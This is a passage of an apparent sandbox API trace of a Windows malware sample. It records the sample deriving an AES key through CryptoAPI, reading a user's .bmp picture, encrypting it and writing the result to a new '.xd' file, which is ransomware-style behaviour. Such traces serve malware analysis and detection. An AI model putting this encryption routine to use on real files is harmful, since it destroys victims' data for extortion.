lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.356] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.356] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.356] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.356] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218d0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.357] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.357] CryptDeriveKey (in: hProv=0x17aac48, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0060.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.357] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.357] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.357] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.358] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.358] CryptDestroyHash (hHash=0x164c630) returned 1 [0060.358] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.358] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\qvxjrslfjub-71ebs7.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.358] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.358] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.359] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.359] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.359] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.359] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1")) returned 0x10 [0060.359] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\qvxjrslfjub-71ebs7.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.363] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.363] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5c87, lpOverlapped=0x0) returned 1 [0060.364] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.366] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.366] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.366] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.367] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.367] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.367] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.367] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.367] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.367] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.367] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.367] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.367] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.367] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.367] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.368] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.368] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0060.368] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.368] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.368] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.368] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.368] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.368] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.368] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.368] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.368] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.368] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.369] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.369] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.369] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.370] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.370] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.370] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.370] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.370] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.370] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.370] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.370] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.370] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.371] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.371] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.371] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621858, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.371] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.371] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x5c87, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x5c90) returned 1 [0060.371] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.372] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.372] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.372] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.372] CharLowerBuffW (in: lpsz="byte[23697]", cchLength=0xb | out: lpsz="byte[23697]") returned 0xb [0060.372] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.373] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.373] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.373] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.373] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.373] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.373] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1888930*, pdwDataLen=0x130e618*=0x5c87, dwBufLen=0x5c90 | out: pbData=0x1888930*, pdwDataLen=0x130e618*=0x5c90) returned 1 [0060.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.374] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.374] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.374] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.374] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.374] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.375] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.375] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.375] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.375] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.375] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.375] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.376] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.376] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.376] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.376] WriteFile (in: hFile=0x2ac, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x5c90, lpOverlapped=0x0) returned 1 [0060.378] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.378] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.378] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.378] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.378] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.378] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.378] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621528, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.379] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.379] CryptDestroyKey (hKey=0x164c530) returned 1 [0060.379] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.379] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.379] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.379] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.379] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.379] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.379] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.379] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.379] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.379] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.379] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.380] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.380] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.380] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.380] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.380] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 